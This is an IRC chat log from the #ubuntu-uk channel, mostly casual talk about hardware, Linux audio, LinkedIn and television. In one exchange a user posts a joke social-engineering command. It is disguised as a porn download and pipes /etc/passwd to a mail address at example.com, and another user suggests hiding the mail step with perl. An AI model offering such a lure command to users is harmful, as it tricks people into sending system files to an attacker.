<bigcalm> Using the super key, or clicking the ubuntu icon, make the dash appear for a split second before disappearing
<bigcalm> Which means that I can't use the dash right now. Anybody else seen this happen?
<brobostigon> [A
<brobostigon> good morning everyone.
<bashrc> morning
<diplo> bigcalm: Mines unresponsive for a while after boot up, a couple of mins at least
<SuperMatt> morning guys
<brobostigon> morning
<diplo> Thought it was more to do with this machine, think it's slowly dieing
<JamesTait> Good morning all; happy Make Your Dream Come True Day! :-D
<JamesTait> Thanks for the tip, MartijnVdS - Bubble Wrap Day. :)
<daubers> Morning
<MooDoo> morning
<foobarry> smarties don't taste v nice anymore
<foobarry> tried some a few months back. they taste of cardboard
<bigcalm> ARGH. Windows and spinning rust is so damn slow!
<MooDoo> spinning rust?
<bigcalm> MooDoo: HDD
<bigcalm> MooDoo: I have Ubuntu on my SSD
<MooDoo> well ubuntu would be just as slow on a hdd you can't blame windows for that :p
<dwatkins> I have Ubuntu on a MicroSD card.
<jussi> ahh the small pleasures in life....
<jussi> the skin of the chicken after it has been baked...onomonom...
<jussi> plus with the added bonus that my wife doesnt like it, so I get double :)
<bigcalm> popey: Dell Inspiron 15 http://www.dell.com/uk/p/inspiron-15-7537/pd?oc=cn75305&model_id=inspiron-15-7537
<dwatkins> I like the skin of the custard.
<foobarry> ewww
<foobarry> worst thing ever is tea skin
<MartijnVdS> foobarry: just send it to dwatkins then ;)
<foobarry> i hate tea. i hate skin on tea * 1000
<MartijnVdS> oh *tea* skin, not *the* skin
<foobarry> the one that forms on a cold cup
<MartijnVdS> foobarry: it's not the cold cup that's the problem, it's the calcium content of the water.
<SuperMatt> CURSE YOU CALCIUM!
<foobarry> in london, the water is chewy
<MartijnVdS> foobarry: big, hairy, can fix hyperdrives?
<foobarry> rawwwr
<SuperMatt> I've never had chewy water in London
<SuperMatt> Canterbury was probably the worst place I've lived for water chewiness
<directhex> the alternative to chewy water is tasteless nonsense water
<directhex> suitable for ironing clothes only
<MartijnVdS> they extract most of the calcium here
<popey> tea never gets an opportunity to get a skin here
<popey> used to happen often when the kids were babies
<popey> directhex:  [   R: 25.36]
<MartijnVdS> now they help get rid of it before it's cold? :)
<popey> http://paste.ubuntu.com/6743801/
<popey> we used to leave them and fall asleep more
<popey> or we'd forget them as we were off putting kids to bed / feeding
<popey> we also used to never eat together when they were babies
<foobarry> i always climbed into bed at same time as missis before kids came
<popey> bigcalm: looks pretty sweet!
<foobarry> now one of use sometimes goes at 8.30pm
<popey> how old is your youngest now?
<foobarry> 10mo's
<popey> awww
<foobarry> at the "babba, babba, mammmma" talky stage
<foobarry> smiles at daddy when he walks in room
<foobarry> as opposed to my son who turns 4 tomorrow, who could be "HELLO DADDY!" or "DADDY GO AWAY, OUT OF THE ROOM"
<MooDoo> my youngest is 2 and at the "no I won't do it" stage
<foobarry> depending on which way the wind is blowing
<bigcalm> popey: hopefully it'll last longer than my current one. By ordering top spec in the consumer market, I won't be pissed off as soon as it gets here
<MooDoo> oldest is 5 and at the "grunt i'm on the DS" stage  lol
<popey> bigcalm: what's the current machine?
<bigcalm> popey: a pos ;)
<popey> if i got "grunt I'm on the ds" then they would very soon no longer be on the ds
<foobarry> ds is used just for haircuts atm
<foobarry> although tablet is used when on my lap.
<foobarry> the snowman and snowdog game from 2012 xmas is amazing, rather than the terrible one from xmas this year
<MooDoo> popey: we're the same :) lol although the worst thing I can do at the moment is ban him from minecraft lol
<bigcalm> popey: 1st gen 13, 4gb ram, 1366x768 res - everything is against sensible development
<foobarry> drawing pad games on the tablet are great too
<foobarry> somehow my son drew this the other day http://i.imgur.com/gHoBuBw.jpg
<popey> bigcalm: what res is the new one?
<TwistedLucidity> foobarry: Mr. Hankie?
<bigcalm> popey: 1920 x 1080
<popey> nice
<bigcalm> I hope so :)
<foobarry> self portrait i think TwistedLucidity :P
<foobarry> although he is blond and blue eyed
<TwistedLucidity> Well, it's better than I can do!
<foobarry> the ability of children to learn never ceases to amaze me
<popey> czajkowski: http://imgur.com/gallery/dpeNSSj
<foobarry> lol
<popey> bigcalm: you going to run windows 8 on it?
<foobarry> thats a sore point after my dog pooed and vmoited blood all over the house on xmas eve
<popey> TheOpenSourcerer: https://blog.1407.org/2014/01/10/got-my-windows-refund-and-so-can-you
<popey> seems like a lot of effort
<popey> but worth doing if you want that 40 eur or so
<TheOpenSourcerer> And simply for the principle of the thing.
<popey> https://www.youtube.com/watch?v=wXfLrt90CHM
<popey> watch
<foobarry> i wish lubotu3 would tell us the title of youtube links
<foobarry> daily mail have been looking for a linux admin for quite a while now
<bigcalm> popey: I'm not sure. The machine will have the power to play games. So do I repartition the HDD and dual boot? Or run Ubuntu server in a VM? Or replace the HDD with my spare SSD and do one of those two?
<SuperMatt> I don't think there are many linux experts who would consider working for the daily mail
<SuperMatt> I couldn't cope with the cognative dissonance
<ali1234> i would do a snowden
<foobarry> i worked for a bank, i could do a paper
<knightwise> mornin everyone
<ali1234> leak all their emails etc
<bigcalm> popey: I have a feeling that I won't even power on the laptop when I get it until I've replaced the HDD with the SSD
<popey> take the hdd out and put to one side?
<bigcalm> popey: yes
<foobarry> actually, thinking about it...i would struggle working for any newspaper
<foobarry> 55 applicants via linkedin
<davmor2> Morning all
<foobarry> http://www.linkedin.com/jobs2/view/9813446
<bigcalm> popey: I'll likely put Ubuntu on the whole of the SSD and keep gaming to my workstation
<bigcalm> Morning davmor2
<czajkowski> popey: ROFLOL
<davmor2> bigcalm: nice weekend?
<bigcalm> davmor2: massage on Saturday, ordered a new mattress on Sunday, got fed up with laptop last night and ordered a new one
<bigcalm> davmor2: expensive weekend, but good ta
<bigcalm> davmor2: yourself?
<popey> I want to see how long I can make my x220 last
<popey> given I've invested a bit in it
<bigcalm> popey: it was legacy ATI hardware in my current laptop that forced me back onto Windows :(
<popey> suppose I should update to trusty
<popey> eww
<bigcalm> I know
<davmor2> bigcalm: we went to a party for 20 minutes other than that it was mostly just back and forth to the mother in laws not so exciting
<bigcalm> davmor2: a lot of damage can be acheived in 20 mins ;)
<foobarry> jaegerbombs?
<bigcalm> popey: did a dist-upgrade on my workstation this morning. It did something horrible to the graphics so I'm now using Windows for the day
<davmor2> bigcalm: yeah we couldn't hear or talk and got a headache from the music and the noise of 100 people shouting at each other, apparently the music got louder and worse as the night went on so we were really glad to of gone :)
<bigcalm> Not a fun time
<TwistedLucidity> davmor2: You want "MaxLites". https://sites.google.com/site/earplugsbypost/gallery
<TwistedLucidity> :)
<davmor2> bigcalm: apparently they played no slow songs at the end of the night and no reggae even though that is the kinda music that was expected so really not gonna be a DJ for them again me thinks :D
 * foobarry puts allegri's  miserere on the headphones to filter noise from the office
<dwatkins> I have an app that generates the sound of rain for times when I want to not listen to music, but need to block out sound.
<foobarry> clementine does rain
<foobarry> also does hypnotoad..do not click that button
<foobarry> rain + miserere goes really well, like some episode of morse
<foobarry> 3 emails from linkedin today. stop it!
<directhex> the world clearly needs more ouya clones. http://hexus.net/gaming/news/android/64801-huawei-tron-android-mini-console-launch-may-120/
<SuperMatt> foobarry: I hate all the linked in emails I get. I'm *on* linked in, but with a different email address to that which my friends use
<SuperMatt> so people try to search for me on my freinds email address, rather than my professional email address
<popey> i deleted my linkedin account. it served zero purpose
<SuperMatt> I might do the same
<BigRedS> yeah, I know a few people who've done that recently
<BigRedS> I've just sort-of left mine be; it doesn't seem to be doing any harm
<popey> i just kept getting spam from it
<SuperMatt> but the thing is, as soon as I created a linked in account, I got a lot of recruiters wanting to put me forward for jobs
<popey> although to be fair i know my current employer looked me up on it before I joined
<SuperMatt> having said that, I didn't actually get my new job through one of those guys
<BigRedS> when I was last looking for work I got a few phone interviews out of it
<BigRedS> but not with anyone I actually wanted to work for
<foobarry> most of the people with best LI profiles are useless numpties
<popey> "best"
<foobarry> "most impressive sounding"
<MooDoo> ah it's not just me then that's getting spam from linkedin
<foobarry> to inflate their ego and cover over their incapacity to produce anything of worth
<foobarry> its mostly mutual masturbation for project managers
<popey> yeah, i used to get mail from it all the time, now I get zero
<dwatkins> People still use LinkedIn? How quaint.
<foobarry> i use it to see when coleagues are about to move on
<TwistedLucidity> Yeah, all the cool suits now use "Yammer" :-S
<dwatkins> I've had a couple managers ask me if it's ok to contact people I used to work with to send them job-specs, but other than that, I've never used it apart from adding people because I felt I should.
<Myrtti> but yammer is for internal stuff
<TwistedLucidity> I know; sarcasm.
<dwatkins> Yammer is indeed for internal stuff, although I'd be a bit hesitant to have a discussion on there, considering it's owned by Microsoft.
<foobarry> when certain dormant people suddnely show activity and getting "endorsements" you know they are looking to move
<TwistedLucidity> I have all my Yammer stuff directed to trash.
<Myrtti> we've got so many 'intranets' I want to scream
<dwatkins> Myrtti: sounds familiar
<Myrtti> and believe me, in comparison to some that we've got, Yammer is my favourite
<foobarry> lol
<TwistedLucidity> Myrtti: You need an interintranet.
<dwatkins> one intranet to bind them, and in the darkness of the internal network find them....
<Myrtti> it doesn't look like it was made in 1998
<Myrtti> *cough* ning
<dwatkins> keming?
<dwatkins> (also known as kerning)
<Myrtti> no, ning.
<popey> foobarry: another reason not to use it IMO â»
<foobarry> agree
<foobarry> i guess its FOMO
<foobarry> fear of missing out ...on that job offer of a lifetime etc etc
<TwistedLucidity> I keep getting recruiters contact me via LI. PITA.
<dwatkins> I get a lot of recruiters e-mailing me because I put 'PHP' on my CV, but if you actually read it, I'm not a developer.
<Seeker`> I keep on getting recruiters send me emails about writing PHP
<Seeker`> dwatkins++
<dwatkins> It's a good way to tell if they've actually bothered paying attention to it.
<popey> i still get people email me 2 years after I quit SAP
<popey> I keep telling them to remove me, but they don't (unsurprisingly)
<dwatkins> I'm tempted to write a stock response asking if they bothered reading my CV, but I can't be bothered, as they probably swouldn't read it.
<SuperMatt> Oh god, when I got my *current* job, I got SO MANY calls about being windows desktop support, despite making it clear that I was already doing that and was looking to become a Linux administrator
<popey> http://www.ebay.co.uk/itm/300976411515 en route!
<davmor2> popey: is that because they are saps?
<popey> wakka wakka
<Seeker`> popey: didn't you already solder up a motor board?
<popey> probably wont arrive for a month from china
<popey> yeah, a pi one
<Seeker`> ahh
<popey> I want to try pi and arduino
<bashrc> arduino is very easy to program
<popey> I'd need some kind of wifi shield though
<SuperMatt> they're nitce and easy to get hold of
<SuperMatt> t
<dwatkins> would ethernet not suffice? I have an Edimax USB dongle on my Pi.
<popey> its going on a robot
<davmor2> bashrc: it's only easy to program if you get the fundamentals of programming surely
<popey> so no
<dwatkins> ah ok
<dwatkins> there's also XBee, popey., as you may be aware
<popey> true
<bashrc> davmor2: in the past I used other microcontrollers, and programming them was much harder
<Seeker`> bashrc: that doesn't change the fact that you still need to be able to write C to write for an arduino :P
<Seeker`> or a C-like language
<bashrc> Seeker: that's true, but C must be one of the simplest languages.
<foobarry> good to see bbc continuing coverage of the dornier restoration http://www.bbc.co.uk/news/uk-25665313?post_id=100004871043663_231606443678389#_=
<bashrc> eek. closed IRC when I meant to close libreoffice
<Seeker`> oh noes
 * lazarus_ dislikes bbc
<Seeker`> the world has ende....oh wait
<foobarry> starting to get bored of the sandwich selection in sainsburys. but there's nowhere else round here for lunch options
<davmor2> foobarry: gregs, subway? those 2 are everywhere
<ali1234> bashrc: arduino is only easy to program if you are not doing anything time-critical. if you are, then the C++ code is way too slow
<czajkowski> davmor2: boo
<ali1234> and not just slow but also unpredictable
<davmor2> czajkowski: AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH!
<ali1234> popey: why do you need a wifi shield? why not just plug in a usb wifi to the pi?
<popey> ali1234: because i am trying two options, pi and arduino
<ali1234> oh i see. i thought you were going to combine them
<popey> and if using arduino, how does it talk to my computer without a cable
<bashrc> aduino is only 8 bit, so it doesn't have a lot of processing power
<popey> ah right, no.
<bashrc> or maybe 16 bit
<ali1234> no, 8 bit was right
<lazarus_> can anyone recommend a uk supplier for linux laptops/desktops apart from dell i have asked b4 but the list i was given yielded little to no results
<bashrc> so I don't think you could do really time critical stuff, such as audio stream analysis
<directhex> lazarus_, typically you pay more to get the HW without windows. do you mind?
<foobarry> davmor2: not in the wastelands of E1
<foobarry> actualyl there is a subway but they give me bellyache and subway burps 10hrs later
<ali1234> bashrc: time critical in this case means filling the UART fifo and not getting an underrun. or bit banging pins and achieving an exact clock rate
<ali1234> software serial/i2c/spi for example
<lazarus_> directhex: im just looking i currently have a system76 laptop and the import fees are crazy
<davmor2> foobarry: in that case sucks to be you :(
<bashrc> avoid importing heavy things
<davmor2> foobarry: you could always make sandwiches I guess
<foobarry> i would end up with even less choice than sainsbury
<foobarry> prob end up with ham sarnie every day
<ali1234> the arduino digitalWrite() is about 20x slower than direct pin setting
<foobarry> we only just got the sinsburys in the last 12 months
<ali1234> and the arduino libraries use interrupts that mess up your timing
<ali1234> the only way to do this kind of thing on arduino is to not use any of their libraries at all and just use avr-gcc direct
<davmor2> foobarry: just have the cheese ploughmans
<foobarry> almost. i have ham+egg . not keen on cheese or ploughs
<popey> http://rutube.ru/video/875caab912d40793e0c7158cad6239a8/ want
<davmor2> popey: NO!!
<ali1234> those things are pretty dangerous
<davmor2> ali1234: and popey is dangerous enough without one
<ali1234> it's basically a gun
<davmor2> ali1234: technically a canon
<ali1234> technically yes
<ali1234> but it is as dangerous as a gun
<lazarus_> that thing is cool
<bigcalm> popey: it's you and the ignightor in minecraft all over again
<lazarus_> i want one
<foobarry> http://sugru.com/gallery/fix-the-red-ring-of-death-rrod-on-an-xbox-360
<popey> it still makes me chuckle when I see a tree alight in minecraft I remember ali1234 on my first server putting out the conflagration and leaving a sign post saying "Only you can prevent forest fires"
<foobarry> sugru is the new duct tape
<MartijnVdS> foobarry: it is!
<MartijnVdS> such useful!
<ali1234> that's actually quite a clever hack... using it to push down the loose chips
<ali1234> i would be worried about it lighting on fire tho
<MartijnVdS> ali1234: it can 180
<MartijnVdS> it's fine up to 180Â°C
<foobarry> The product is not flammable, but will decompose if involved in a fire, producing smoke, and toxic fumes and gases.
<ali1234> but can it 360?
<MartijnVdS> ali1234: 8-)
<MartijnVdS> ali1234: wait, is that what the "360"  in XBox 360 stands for
<popey> i discovered howdoicomputer.com and was disappointed it was already registered
<foobarry> nokia are doing an android phone?
<popey> seems so
<foobarry> looks meh
<popey> http://phandroid.com/2014/01/13/nokia-normandy-prototype/
<popey> all android phones look meh â»
<foobarry> no
<popey> some sony ones are nice and oppo
<popey> oh and I hear the meizu mx3 is awesome ã
<davmor2> popey: hahaha
<foobarry> picked up 2 sharpies in the shop for 89p
<foobarry> usually a pack of 2 is Â£3
<popey> ooh, i need a couple of new sharpies
<directhex> and a shar-pei
<foobarry> was in sainsburys getting rid of new term stock
<foobarry> overheard 2 students "oi dave, didn't you pay Â£12 for 10 of these?"
<Myrtti> I just love these online 'order a pizza' services
<Myrtti> although being brainwashed to just eat makes me automatically want to order pizza from there - when I'm in Finland.
<Dave2> doesn't it exist there?
<Myrtti> of course not
<Dave2> Why of course? I think the first time I saw Just Eat was when I was in Denmark.
<Myrtti> well look at that
<Myrtti> I never realised it was something else than just-eat.co.uk
<foobarry> chewbaca has released a load of cool SW shots https://twitter.com/TheWookieeRoars
<dwatkins> awesome, foobarry
<lazarus_> https://www.system76.com/laptops/model/daru4 wants
<SuperMatt> hurr, the daily mail are angry about last night's sherlock
<MartijnVdS> guardian seemed to like it
<ali1234> does anyone want a copy of humble bundle X?
<ali1234> i bought it twice by accident
<popey> oh i missed sherlock
<MooDoo> popey: it was quite good
<jussi> ali1234: what was in it?
<jussi> ali1234: just looked... interesting... how much you want for it? (or are you donating to me... :D )
<ali1234> i can only give you the steam keys because i didn't select the gift option
<ali1234> actually maybe that isn't true
 * MartijnVdS has about â¬1 in his steam account from selling trading cards.. can you actually *do* something with those things, except sell them?
<ali1234> trade them for hats?
<MartijnVdS> ali1234: hats? for what?
<ali1234> for tf2 obviously
<MartijnVdS> ali1234: I only play single-player games.
<foobarry> TIL that koo stark played camie in star wars but her scenes didn't make the film
<foobarry> some youtubing later methings
<foobarry> http://starwars.wikia.com/wiki/Camie_Loneozner
<foobarry> 4th linked in email today...that does it
<Myrtti> nnnnggghhhh the hosting provider for a website I've been webmistressing for ten years fubar'd the databases and they had to restore a backup from two weeks ago.... well then again they did have backups and all is not lost but still
<SuperMatt> two weeks is hideously old though
<Myrtti> I know
<Myrtti> but I was ready to call it quits because I thought the database had exceeded quota or something had irreversibly broken
<knightwise> do you guys know of any other ubuntu spins that are based on the AMD 64 MAC architecture distro ?
<knightwise> I want to give my wifes imac a new lease on life
<MartijnVdS> Sorry, Apple doesn't allow that. Please buy moar hardware.
<lazarus_> hehe MartijnVdS
<Myrtti> well, my nearly primal reaction is finally flattening out
 * bigcalm wants his new laptop now. I order it last night. I don;t think I'm demanding too much
<bigcalm> Guess it needs to be assembled and shipped from China
<bigcalm> That said, I ordered a pre-configured device, wonder if it'll be any quicker than my last laptop
<MartijnVdS> to arrive, or to run? :)
<bigcalm> Hehe
<bigcalm> MartijnVdS: to arrive. I do hope the 4th gen i7 will run more quickly than my 1st gen i3
<MartijnVdS> bigcalm: probably :)
<MartijnVdS> bigcalm: mine does ;)
<dwatkins> whoever invented the connectors on car stereos is very cruel, they're all very similar
<bashrc> similar but oddly different
<Azelphur> I love how my ISP has got to the point that it's throttling minecraft specifically
<Azelphur> xD
<dwatkins> yeah, bashrc - thankfully
<Azelphur> If I connect directly, I can't do anything, my bitrate drops to <1KB/sec and nothing loads, if I SSH tunnel to the minecraft server and connect through that, everything magically works :P
<dwatkins> still a bit of a nightmare connecting it up, especially with the orange, red and yellow wires. Looks like I got it right, although the stalk control doesn't work.
<bashrc> I've never played mindcrack
<Laney> HAHA
<Laney> there's a drunk caller on 6 music atm
<MartijnVdS> dwatkins: there's a special adapter to switch those 12V-always_on and 12V-only_when_car_is_running cables
<MartijnVdS> I have that in mine
<MartijnVdS> cables=wires
<dwatkins> MartijnVdS: yeah, yellow vs orange
<dwatkins> I think it's just failed to load the driver for the stalk control, everything else seems ok
<MartijnVdS> but fewer and fewer new cars seem to have those
<bigcalm> I keep doing ctrl alt t ... in windows
<bigcalm> Wonder if I can map that to putty
<SuperMatt> I have scale mapped to the top left corner
<SuperMatt> When I want to swicth apps in windows, I move my mouse up there and then remember it doesn't work :(
<SuperMatt> I'm really surprised that feature didn't make in to windows 7 or 8 considering linux and osx have had it for ages
<dwatkins> I keep thinking it's gone 5pm because it has in Germany
<SuperMatt> oh, I didn't realise it was quite so late
<SuperMatt> that puts a smile on my face
<dwatkins> yeah, today has gone quickly
<SuperMatt> only 80 minutes until home time
<SuperMatt> lazarus keeos coming back from the dead.
<Myrtti> hm, I just realised that the hosting company hasn't yet sent an email about this database thing
<Myrtti> now I'm annoyed and angry again
<bashrc> database thing?
<Myrtti> yeah, apparently an employee of a hosting company of a website I've been webmistressing for ten years now messed up both the database and the immediate backups of them, and they had to restore from two weeks old backups
<Myrtti> I only noticed the apology and notification about this because someone linked to it on an IRC channel I happened to be in
<bigcalm> Wow http://www.youtube.com/watch?v=HOfll06X16c
<MartijnVdS> bigcalm: is that Gary's Mod Extreme? :)
<diddledan> the portals at the end blow my mind
<popey> Laney: is there any chance someone might take a look at backporting mumble client to s & p (at least) ?
<popey> 1.2.4 in trusty has better codec support, and our current p and s users end up grabbing newer upstream versions because servers require it
<diddledan> why did sony move away from the cell processor tech?
<popey> hard to code for?
<diddledan> maybe
<diddledan> I'm just watching this: http://www.youtube.com/watch?v=dmZSU0793hQ about the evolution of playstation gfx
<daftykins> diddledan: there are some great presentations done by the guy that headed up the PS3 hardware planning/design which explain things well
<daftykins> ultimately yeah, the Cell was a pig to code for, plus they chose to speak to game devs more for the PS4/Xbox One generation which resulted in feedback suggesting "go x86 damn it!"
<Azelphur> Has anyone noticed major sound issues with Skype and pulseaudio in 13.10?
<Azelphur> Notification sounds generated from it are majorly distorted and stretched, and voice calling is usually distorted/crackly, get the same behaviour on both my PC and my Laptop
<ali1234> http://askubuntu.com/questions/157891/skype-and-vlc-sounds-sizzle-distorted-bad/201747#201747
<ali1234> btw, it's been this way since pulseaudio was introduced to ubuntu
<Azelphur> nice
<diddledan> why does pulse cause so many issues when it's supposed to solve them?
<diddledan> afaiui pulse was supposed to be "the mother of all sound systems"
<daftykins> diddledan: Mark Cerny was the guy i was thinking of behind the PS3 and 4 hardware
<ali1234> because starting over from scratch is almost never a good idea
<ali1234> you might ask the same question about systemd, upstart, wayland, or mir
<diddledan> I actually quite like upstart (that's the buntu one, right?)
<ali1234> to be honest i think i prefer systemd
<ali1234> and i've looked at the code of both
<diddledan> SMF (the solaris one) is a beast
<Azelphur> I still think pulses bane is that it has no low latency audio at all
<Azelphur> Which makes it pretty useless at everything
<ali1234> Azelphur: actually it does
<Azelphur> o.O
<ali1234> the workaround for your problem is to disable it
<diddledan> am I right in remembering that low latency audio requires root privs (via setuid or some such)?
<Azelphur> that's weird, because...it's certainly not enabled
<Azelphur> I get like 100ms latency out of pulse
<Azelphur> ali1234: whenever I use like, LMMS with pulse for example
<Azelphur> and my midi piano
<Azelphur> it's ... horrible
<diddledan> oh joy
<diddledan> links www.example.xxx/../../../../../../../../etc/passwd -dump
<diddledan> that's a command btw
<diddledan> lol
<diddledan> thanks to whoever decided that .xxx as a domain tld was a good idea
<ali1234> i don't get it
<diddledan> ali1234: run it in a terminal
<ali1234> so www.example.xxx is vulnerable to a trivial path expansion exploit?
<diddledan> the entire line is a command
<diddledan> no, your computer is
<diddledan> specifically the links command
<ali1234> but i can just run cat /etc/passwd
<popey> how is that diferent from cat ../../etc/passwd
<popey> indeed
<diddledan> it's no different apart from social engineering allows you to think that links won't do that
<popey> nobody would link to "links foo...." and nobody could ever click that as you can't launch local executables like that
<popey> links being used by...?
<ali1234> well i suppose you could hide it in a script
<diddledan> the example on FD suggests chaining the command
<diddledan> it will dump your passwd file no matter what the domain name as long as it ends in .xxx
<aquarius> AlanBell, interesting question about Ubuntu phone working better with Ubuntu desktop than with others. I'm in two minds about whether I like that idea or not -- on the one hand, it's great when Apple makes the iPhone and the Mac and Apple TV work really brilliantly together and take advantage of stuff. On the other hand, it really annoys me that I don't get a full iPhone experience because I don't buy into the rest o
<aquarius> f their ecosystem... and doing that sort of thing is Not Cricket really from an open source ethical perspective ;) What are you hoping that jono will answer?
<diddledan> so DOWNLOAD PR0N! RUN IN COMMANDLINK: `links www.adomainyoureallywanttodownloadpr0nfrom.xxx/../../../../../../etc/passwd |mail -s secrits foo@example.com > corruptmovie.m4v`
<diddledan> commandline, obviously, not commandlink
<ali1234> /etc/passwd doesn't even have password hashes
<diddledan> that's not the point
<ali1234> not that there aren't files you could target
<ali1234> also you should hide the mail command with perl trickery
<bigcalm> directhex: I have your steamos on my box and wondering how one goes about installing the latest release. Does it mean wiping the installed games and drive and starting from fresh?
<directhex> bigcalm, i wouldn't bother unless you have a pressing need for LVM/mdraid - it updates from the valve repos
<bigcalm> directhex: yeah, I don't have a need for the current release. So there's no need to use your releases, just let the box update itself?
<directhex> bigcalm, yeah
 * bigcalm continues to seed anyway
 * bigcalm pokes Dell's order page
<bigcalm> Still pre-production :(
<bigcalm> Who broke tumblr?
<ali1234> yahoo?
<bigcalm> Ah, yes
<diddledan> lol, that's a nice break
<diddledan> looks like their frontend works but hasn't got any backend to load from
<diddledan> wow, how many IP addresses do they actually need?! they've been assigned a /20
<diddledan> 15 * 255 = ?
<diddledan> 3825
<diddledan> oh, and .32
<diddledan> 4080 then
<diddledan> does a single entity really need that many?
<diddledan> I wonder what their justifiction is for that many to ARIN
<brobostigon> yay, i got two answers on that uni cha;;ange ep, almost my record.
<diddledan> I had enough trouble getting assigned a /29
<bigcalm> I really love that I can now watch my YouTube subscriptions on my TV (via blu-ray player). Still amazingly peeved that my TV does overscan and is quite noticible when watching YouTube things
<diddledan> brobostigon: nice
<brobostigon> diddledan: :)
<brobostigon> my record is four,
<diddledan> I pretty only ever get the computery ones
<diddledan> pretty much*
<brobostigon> one was a physics question, the other was about chemistry.
<diddledan> because their question setters insist on the computery ones being completely stupidly easy
<brobostigon> thats when they do have them.
<ali1234> what's a uni change ep?
<brobostigon> university challange is tv prog.
<diddledan> I believe one a while back was over the name of a computer input device so-called after a rodent
<ali1234> oh i get it now
<ali1234> ;=l
<brobostigon> diddledan: lol.
<diddledan> I was incredulous that they consider that to be university-level
<brobostigon> agreed, that insanly easy.
<diddledan> I believe another was over the naming of pixel - i.e. what it stands for
<MartijnVdS> picture element!~
<jussi> will someone make me a bacon sandwich?
<Azelphur> No, make your own sandwich
<diddledan> sudo !!
<Azelphur> ok.
<diddledan> :-p
<jussi> sudo someone make me a bacon sandwich!
<jussi> actually, ctrl+c
<jussi> not allowed to eat right now :/
<diddledan> aww
<zleap> hi
<zleap> include <bread?
<zleap> include <bacon
<zleap> include <bacon>
<zleap> lol
<jussi> zleap: something like that
<zleap> :)
<Myrtti> omg Sherlock.
<Myrtti> that's all I'll say
<popey> ooh, need to see that
<diddledan> just put it on
<diddledan> I have*
<diddledan> I very rarely watch anything live these days
<shauno> heh, ditto.  although I still really want to build a new xbmc machine :/
<diddledan> hmm, it's started buffering
<daftykins> yeah my ion1 isn't handling funkier bitrate stuff too well
<daftykins> thankfully i don't have any hi10 content
<shauno> I'm handling video fine, just not enough steam to play with anything more interesting
<daftykins> ion1 dies with AVC
<daftykins> can't do VDPAU with that afaik
<shauno> ie, I quite fancy loading it up with a bunch of emulators & a wireless gamepad.  but no-one builds them for 10.4 anymore
<shauno> and I've been struggling to integrate xbmc with my lights because the python stack on the appletv is braindamaged
<diddledan> I love moriarty's character
<shauno> but I've been holding off so far because I'm curious to see how tidily steamos + xbmc could be combined on the same machine, since that'd wildly change the hardware choices
<diddledan> ooh, killer ending
<diddledan> I shan't say any more because there's probably some of us that haven't seen it yet
<popey> indeed
<diddledan> email to "ubuntu phone" mailing list entitled "Compiling Ubuntu Touch without Android" - David Marceau states "Ubuntu Touch depends on some Android.  There is no way to work around that." - I don't get how ubuntu touch "depends on android" vs ubuntu touch depends on X, Y & Z FROM android i.e. surely android itself isn't a prerequisite because it's all linux and android is actually a product or distribution of linux with some extra
<diddledan>  non-standard stuff which happens to only be available from the android source code repo
<diddledan> surely linux is linux is linux in this sense. I don't get why we need to differentiate android
<popey> we're using drivers from android
<shauno> I believe 'some stuff' is wildly, wildly understating the issue
<popey> shauno: how so?
<diddledan> drivers are just drivers tho they're not an integral part of android that can't be separated, surely?
<shauno> as I understand it, android isn't a linux distro as we'd usually use the term; it's the linux kernel with an almost completely new userland?
<popey> we dont use the userland stuff
<popey> only the kernel driver side
<popey> some of which is binary blobs
<popey> and depends on boinc not libc
<popey> *bionic
<diddledan> so why can't we say "depends on these drivers which happen to only currently be available in android"?
<popey> thats quite a mouthful
<popey> we tend to say "we depend on parts of android"
<popey> or "android drivers"
<diddledan> I know it's convoluting but it properly points out what we depend on rather than suggesting that we're a version of android that can't be called such
<popey> i think you're over analysing a mail to a list from a random dude
<diddledan> I just don't like the premise that some people are going to think it's a minor change to an ostensibly android system as opposed to an ostensibly ubuntu system with a couple bits bolted-on to work with already available hardware
<popey> well, his first line is right
<popey> we depend on some bits of android
<diddledan> so anyway, that rant aside. how are things coming with the thing?
<popey> heh
<diddledan> and a related question - is there a page on a wiki somewhere that I can read about plans for click packages?
<diddledan> heh, just found this on google: http://phandroid.com/2014/01/13/ubuntu-touch-devices-2/ <-- no nexus 5, e.g.
<diddledan> I'm sure the "community" will make another contributed build for the dropped devices as they suggest in the article, though
#ubuntu-uk 2014-01-14
<ali1234> popey: are you really sure ubuntu touch doesn't use any android userland? so, for example, you're using ofono directly against the hardware, and not RIL?
<ali1234> diddledan: i think the main point is that even though you can build all the components and run them without android, you can't do it on any real phone that exists today
<ali1234> at least not if you want it to work as a phone
<ali1234> diddledan: if you want to really troll that thread, reply to david stating the following answers to his questions: 1. my lenovo ideapad 2. none, because there is no android version for it, 3. no, because no such cable exists for x86 PCs, 4. trusty, 5. the version from trusty
<popey> ali1234: maybe some bits, i meant not what people usually mean by android - the dalvik bits
<MooDoo> morning all
<dwatkins> allo allo
<knightwise> morning everyone
<MooDoo> morning dwatkins knightwise
<MartijnVdS> \o
<knightwise> hey guys , how are you all doing today
<MooDoo> yeah ok thanks, what about yourself.
<knightwise> doin ok :)
<knightwise> managed to get my plex server working just the way I want it to .. thus liberatin me from the burdens of iTunes
<knightwise> Still need to pick my client side music player
<knightwise> clementine or banshee , not quite sure
<MooDoo> what's up with rhythmbox, I quite like that
<knightwise> ah .. i could have a look at that too
<MartijnVdS> I've been switching between rb and banshee
<MartijnVdS> they tend to alternate breakage
<knightwise> Cool , looks ok too.
<knightwise> banshee is a bit "busy" on the ui side
<knightwise> i"m thinking of putting elementary on my wife's imac
<knightwise> but the distro is based on the "standard" amd64 bit distro of Ubuntu 12.04
<knightwise> and not on the AMD64-MAC version
<knightwise> so i'm a littel worried that this will cause the iMac to run hot
<MartijnVdS> why?
<MartijnVdS> isn't the only difference between the "amd64" and "amd64-mac" versions the boot mechanism?
<knightwise> I'm not sure
<knightwise> i"ve had experiences where, when you take the "non mac" distro on a mac it grows HOT
<knightwise> and when you take the AMD-64-MAC edition it's fine
<MartijnVdS> that's probably just a package then
<MartijnVdS> which you can install separately
<knightwise> I was thinking about just choosing the 32 bit version , but I have over 4 gigs of ram in that machine so ...
<knightwise> but i'm afraid ubuntu and unity are gonna make the machine slugish ...
<foobarry> watched sherlock. very OTT. i realise that moffat does silly episodes on the middle and last episodes of a series (cf. dr who). being a 3 episode series, it was unfortunate
<dwatkins> I still can't believe the US version of Sherlock has 24 episodes per season compared to our 3.
<foobarry> lol!
<foobarry> any english actors?
<dwatkins> I doubt it, foobarry.
<JamesTait> Good morning all; happy Poetry At Work Day! :-D
